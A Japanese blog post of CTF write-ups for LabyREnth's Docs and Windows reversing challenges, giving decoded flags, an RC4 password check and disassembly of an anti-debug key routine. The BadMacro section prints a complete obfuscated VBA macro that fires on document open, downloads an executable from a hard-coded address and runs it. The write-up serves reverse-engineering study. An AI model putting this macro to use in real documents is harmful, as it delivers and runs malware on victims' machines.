Subscribed unsubscribe Subscribe Subscribe

LabyREnth CTF (Docs)

1. はじめに

 LabyREnth CTF - くじらとたぬきと同じ.

 

2. writeup

・BadMacro (Docs Lv1)

 zipを解凍する(Pass : infected)とchallenge.docが出てくる.

f:id:kmdnet:20160818114912p:plain

 

 challenge.docからVBAを抽出する.

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function QklkhFEQNB(HGKuttPaRM As Variant, UBvkWqzieX As Integer)
Dim gsFEVmmIzO, vSHOfSrEta As String, dHLdiEqdts, eUTAbMoUIA
vSHOfSrEta = ActiveDocument.Variables("ppKzr").Value()
gsFEVmmIzO = ""
dHLdiEqdts = 1
While dHLdiEqdts < UBound(HGKuttPaRM) + 2
eUTAbMoUIA = dHLdiEqdts Mod Len(vSHOfSrEta): If eUTAbMoUIA = 0 Then eUTAbMoUIA = Len(vSHOfSrEta)
gsFEVmmIzO = gsFEVmmIzO + Chr(Asc(Mid(vSHOfSrEta, eUTAbMoUIA + UBvkWqzieX, 1)) Xor CInt(HGKuttPaRM(dHLdiEqdts - 1)))
dHLdiEqdts = dHLdiEqdts + 1
Wend
QklkhFEQNB = gsFEVmmIzO
End Function
Public Function BkAIuNwQNDkohBY()
twOvwCSTPL = QklkhFEQNB(Array(5, 5, 27, 65, 89, 98, 85, 86, 71, 75, 66, 92, 95, 98, 67, 64, 89, 83, 84, 95, 26, _
78, 116, 78, 91, 5, 116, 32, 72, 2, 33, 48, 10, 29, 61, 8, 37, 20, 63, 44, 1, _
12, 62, 38, 47, 52, 99, 57, 5, 121, 89, 37, 65, 32, 32, 11, 98, 42, 58, 32, 28, _
9, 3, 117, 85, 4, 57, 10, 94, 0, 16, 8, 28, 42, 30, 121, 71, 6, 8, 9, 37, _
2, 23, 34, 21, 120, 54, 7, 40, 35, 75, 50, 87, 3, 55, 47, 99, 52, 13, 0, 42, _
30, 27, 126, 59, 3, 123, 29, 52, 44, 53, 29, 15, 50, 12, 35, 8, 48, 89, 54, 27, _
62, 28, 8, 36, 49, 119, 104, 14, 5, 64, 34, 43, 22, 71, 5, 46, 7, 66, 42, 0, _
1, 113, 97, 83, 31, 45, 95, 111, 31, 40, 51), 24)
UkIWIEtqCF = QklkhFEQNB(Array(42, 115, 2), 188)
Dim xHttp: Set xHttp = CreateObject(QklkhFEQNB(Array(116, 7, 6, 74, 60, 43, 42, 36, 64, 70, 110, 27, 28, 12, 12, 17, 23), 0))
Dim bStrm: Set bStrm = CreateObject(QklkhFEQNB(Array(15, 32, 32, 53, 35, 89, 22, 25, 65, 53, 51, 26), 176))
xHttp.Open UkIWIEtqCF, twOvwCSTPL, False
xHttp.Send
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17), 2
End With
Shell (QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17))
End Function
Private Sub Document_Open()
If ActiveDocument.Variables("ppKzr").Value <> "toto" Then
BkAIuNwQNDkohBY
ActiveDocument.Variables("ppKzr").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub

 

 しかしこのままでは可読性が悪いので変数名等を書き換えて整形する. 

 

 

 これをVBE上で実行する. ただしHTTPリクエストとシェル実行はされたくないのでコメントアウトして, Debug.Printを用いてイミディエイトウインドウに出力した.

f:id:kmdnet:20160819101747p:plain

 http://10.1.33.7/b64/x58/MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=/evil.exe に注目してb64とx58という文字列があるので, base64とXOR 0x58と予想してPythonでデコードするスクリプトを書いた.

 

 

FLAG : PAN{ViZib13_0nly2th0s3_Wh0_Kn0w_wh3r32l00k}

 

 

・CrackDoc (Docs Lv2)

zipを解凍する(Pass : infected)とCrackDoc.docが出てくる.

f:id:kmdnet:20160819104540p:plain

f:id:kmdnet:20160819104620p:plain

 UserFormにパスワードを入力すれば良い. 同様にVBAを抽出する.

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{8AF7E01A-2331-4925-95C1-AA63132A39D5}{BF4AE4DE-16B1-4C4B-ABB6-3A501B9C5B0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub button_Click()
    x = suchcrypto(key.Text, "General Vidal")
    If x = "171,184,42,184,88,26,47,154,20,219,203,130,52,19,180,214,156,94,186,74,30,248,119,235,139,130,175,141,179,197,8,204,252," Then
        MsgBox "Wow. Good Job! Such crack."
    Else
        MsgBox "U can do. Try harder..."
    End If
End Sub

Function suchcrypto(sMessage, strKey)
    Dim kLen, x, y, i, j, temp
    Dim s(256), k(256)
    kLen = Len(strKey)
    For i = 0 To 255
        s(i) = i
        k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
    Next
    j = 0
    For i = 0 To 255
        j = (j + k(i) + s(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
        s(j) = temp
    Next
    x = 0
    y = 0
    For i = 1 To 3072
        x = (x + 1) Mod 256
        y = (y + s(x)) Mod 256
        temp = s(x)
        s(x) = s(y)
        s(y) = temp
    Next
    For i = 1 To Len(sMessage)
        x = (x + 1) Mod 256
        y = (y + s(x)) Mod 256
        temp = s(x)
        s(x) = s(y)
        s(y) = temp
 
        suchcrypto = suchcrypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
    Next
End Function

 同様にPythonでデコードを行うスクリプトを書く.
 

FLAG : PAN{L4$t_Night_@f@iry_Vizited_M3}

 

3. 補足

 公式にてwriteupが公開されている. 1week毎に1trackずつ公開される模様.

researchcenter.paloaltonetworks.com

 

kmdnet

LabyREnth CTF (Windows)

 

1. はじめに

 LabyREnth CTFに参加した. 解いた問題について残しておく.出題された分野はWindows, Unix, Threat, Mobile, Docs, Randomである.

 

2. writeup 

・AntiD (Windows Lv1)

 zipを解凍する(Pass : infected)とAntiD.exeが出てくる.

f:id:kmdnet:20160815130916p:plain

  実行してみる.

f:id:kmdnet:20160817103045p:plain

f:id:kmdnet:20160815131150p:plain

  UPXでパックされていることが判別できるのでOEPまで処理を進める. 

f:id:kmdnet:20160815132008p:plain

  ここからアンパックしてもよいが,今回はそのまま処理を進める.

 

 以下が入力されたkeyを比較する関数である.

    
012511B0    55              PUSH EBP
012511B1    8BEC            MOV EBP,ESP
012511B3    83EC 38         SUB ESP,38
012511B6    A1 04302501     MOV EAX,DWORD PTR DS:[1253004]
012511BB    33C5            XOR EAX,EBP
012511BD    8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
012511C0    C645 D4 8C      MOV BYTE PTR SS:[EBP-2C],8C
012511C4    C645 D5 F1      MOV BYTE PTR SS:[EBP-2B],0F1
012511C8    C645 D6 53      MOV BYTE PTR SS:[EBP-2A],53
012511CC    C645 D7 A3      MOV BYTE PTR SS:[EBP-29],0A3
012511D0    C645 D8 08      MOV BYTE PTR SS:[EBP-28],8
012511D4    C645 D9 D7      MOV BYTE PTR SS:[EBP-27],0D7
012511D8    C645 DA DC      MOV BYTE PTR SS:[EBP-26],0DC
012511DC    C645 DB 48      MOV BYTE PTR SS:[EBP-25],48
012511E0    C645 DC DB      MOV BYTE PTR SS:[EBP-24],0DB
012511E4    C645 DD 0C      MOV BYTE PTR SS:[EBP-23],0C
012511E8    C645 DE 3A      MOV BYTE PTR SS:[EBP-22],3A
012511EC    C645 DF EE      MOV BYTE PTR SS:[EBP-21],0EE
012511F0    C645 E0 15      MOV BYTE PTR SS:[EBP-20],15
012511F4    C645 E1 22      MOV BYTE PTR SS:[EBP-1F],22
012511F8    C645 E2 C4      MOV BYTE PTR SS:[EBP-1E],0C4
012511FC    C645 E3 E5      MOV BYTE PTR SS:[EBP-1D],0E5
01251200    C645 E4 C9      MOV BYTE PTR SS:[EBP-1C],0C9
01251204    C645 E5 A0      MOV BYTE PTR SS:[EBP-1B],0A0
01251208    C645 E6 A5      MOV BYTE PTR SS:[EBP-1A],0A5
0125120C    C645 E7 0C      MOV BYTE PTR SS:[EBP-19],0C
01251210    C645 E8 D3      MOV BYTE PTR SS:[EBP-18],0D3
01251214    C645 E9 DC      MOV BYTE PTR SS:[EBP-17],0DC
01251218    C645 EA 51      MOV BYTE PTR SS:[EBP-16],51
0125121C    C645 EB C7      MOV BYTE PTR SS:[EBP-15],0C7
01251220    C645 EC 39      MOV BYTE PTR SS:[EBP-14],39
01251224    C645 ED FD      MOV BYTE PTR SS:[EBP-13],0FD
01251228    C645 EE D0      MOV BYTE PTR SS:[EBP-12],0D0
0125122C    C645 EF F8      MOV BYTE PTR SS:[EBP-11],0F8
01251230    C645 F0 3B      MOV BYTE PTR SS:[EBP-10],3B
01251234    C645 F1 E8      MOV BYTE PTR SS:[EBP-F],0E8
01251238    C645 F2 CC      MOV BYTE PTR SS:[EBP-E],0CC
0125123C    C645 F3 03      MOV BYTE PTR SS:[EBP-D],3
01251240    C645 F4 06      MOV BYTE PTR SS:[EBP-C],6
01251244    C645 F5 43      MOV BYTE PTR SS:[EBP-B],43
01251248    C645 F6 F7      MOV BYTE PTR SS:[EBP-A],0F7
0125124C    C645 F7 DA      MOV BYTE PTR SS:[EBP-9],0DA
01251250    C645 F8 7E      MOV BYTE PTR SS:[EBP-8],7E
01251254    C645 F9 65      MOV BYTE PTR SS:[EBP-7],65
01251258    C645 FA AE      MOV BYTE PTR SS:[EBP-6],0AE
0125125C    C645 FB 80      MOV BYTE PTR SS:[EBP-5],80
01251260    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
01251263    50              PUSH EAX
01251264    FF15 D4202501   CALL DWORD PTR DS:[12520D4]              ; ucrtbase.strlen
0125126A    83C4 04         ADD ESP,4
0125126D    83F8 10         CMP EAX,10
01251270    0F85 EB000000   JNZ AntiD.01251361
01251276    C745 C8 0000000>MOV DWORD PTR SS:[EBP-38],0
0125127D    C745 CC 0000000>MOV DWORD PTR SS:[EBP-34],0
01251284    EB 09           JMP SHORT AntiD.0125128F
01251286    8B4D CC         MOV ECX,DWORD PTR SS:[EBP-34]
01251289    83C1 01         ADD ECX,1
0125128C    894D CC         MOV DWORD PTR SS:[EBP-34],ECX
0125128F    837D CC 28      CMP DWORD PTR SS:[EBP-34],28
01251293    0F8D C4000000   JGE AntiD.0125135D
01251299    C745 D0 0000000>MOV DWORD PTR SS:[EBP-30],0
012512A0    8B55 08         MOV EDX,DWORD PTR SS:[EBP+8]
012512A3    0355 CC         ADD EDX,DWORD PTR SS:[EBP-34]
012512A6    0FBE02          MOVSX EAX,BYTE PTR DS:[EDX]
012512A9    83F0 33         XOR EAX,33
012512AC    25 FF000000     AND EAX,0FF
012512B1    8945 D0         MOV DWORD PTR SS:[EBP-30],EAX
012512B4    E8 77FEFFFF     CALL AntiD.01251130
012512B9    0FB6C8          MOVZX ECX,AL
012512BC    85C9            TEST ECX,ECX
012512BE    74 07           JE SHORT AntiD.012512C7
012512C0    32C0            XOR AL,AL
012512C2    E9 9C000000     JMP AntiD.01251363
012512C7    8B55 D0         MOV EDX,DWORD PTR SS:[EBP-30]
012512CA    83C2 44         ADD EDX,44
012512CD    81E2 FF000000   AND EDX,0FF
012512D3    8955 D0         MOV DWORD PTR SS:[EBP-30],EDX
012512D6    E8 85FEFFFF     CALL AntiD.01251160
012512DB    0FB6C0          MOVZX EAX,AL
012512DE    85C0            TEST EAX,EAX
012512E0    74 04           JE SHORT AntiD.012512E6
012512E2    32C0            XOR AL,AL
012512E4    EB 7D           JMP SHORT AntiD.01251363
012512E6    8B4D D0         MOV ECX,DWORD PTR SS:[EBP-30]
012512E9    83F1 55         XOR ECX,55
012512EC    81E1 FF000000   AND ECX,0FF
012512F2    894D D0         MOV DWORD PTR SS:[EBP-30],ECX
012512F5    E8 96FEFFFF     CALL AntiD.01251190
012512FA    0FB6D0          MOVZX EDX,AL
012512FD    85D2            TEST EDX,EDX
012512FF    74 04           JE SHORT AntiD.01251305
01251301    32C0            XOR AL,AL
01251303    EB 5E           JMP SHORT AntiD.01251363
01251305    8B45 D0         MOV EAX,DWORD PTR SS:[EBP-30]
01251308    83E8 66         SUB EAX,66
0125130B    25 FF000000     AND EAX,0FF
01251310    8945 D0         MOV DWORD PTR SS:[EBP-30],EAX
01251313    E8 E8FDFFFF     CALL AntiD.01251100
01251318    0FB6C8          MOVZX ECX,AL
0125131B    85C9            TEST ECX,ECX
0125131D    74 04           JE SHORT AntiD.01251323
0125131F    32C0            XOR AL,AL
01251321    EB 40           JMP SHORT AntiD.01251363
01251323    8B55 C8         MOV EDX,DWORD PTR SS:[EBP-38]
01251326    81E2 FF000000   AND EDX,0FF
0125132C    3355 D0         XOR EDX,DWORD PTR SS:[EBP-30]
0125132F    81E2 FF000000   AND EDX,0FF
01251335    8955 D0         MOV DWORD PTR SS:[EBP-30],EDX
01251338    8B45 CC         MOV EAX,DWORD PTR SS:[EBP-34]
0125133B    0FBE4C05 D4     MOVSX ECX,BYTE PTR SS:[EBP+EAX-2C]
01251340    81E1 FF000000   AND ECX,0FF
01251346    394D D0         CMP DWORD PTR SS:[EBP-30],ECX
01251349    74 04           JE SHORT AntiD.0125134F
0125134B    32C0            XOR AL,AL
0125134D    EB 14           JMP SHORT AntiD.01251363
0125134F    8B55 C8         MOV EDX,DWORD PTR SS:[EBP-38]
01251352    0355 D0         ADD EDX,DWORD PTR SS:[EBP-30]
01251355    8955 C8         MOV DWORD PTR SS:[EBP-38],EDX
01251358  ^ E9 29FFFFFF     JMP AntiD.01251286
0125135D    B0 01           MOV AL,1
0125135F    EB 02           JMP SHORT AntiD.01251363
01251361    32C0            XOR AL,AL
01251363    8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
01251366    33CD            XOR ECX,EBP
01251368    E8 98000000     CALL AntiD.01251405
0125136D    8BE5            MOV ESP,EBP
0125136F    5D              POP EBP
01251370    C3              RETN

 これより生成されて比較されるkeyは前後の文字列に依存しないことがわかるので,このkeyをデコードするプログラムをPythonで書いた. なおデバッグを行う際にはkeyを比較する中でアンチデバッグを行う関数が4つあるがそれぞれの戻り値を0に変えてやれば良い.

 

FLAG : PAN{C0nf1agul4ti0ns_0n_4_J08_W3LL_D0N3!}

 

3. 補足

 今回の問題のアセンブリのコードと先ほどのPythonコードに関してはgithub上に上げてある. なおアンチデバッグを行う4つの関数に関してはfunc1~4としており、それぞれ典型的なアンチデバッグの手法が取られている.

github.com

 

kmdnet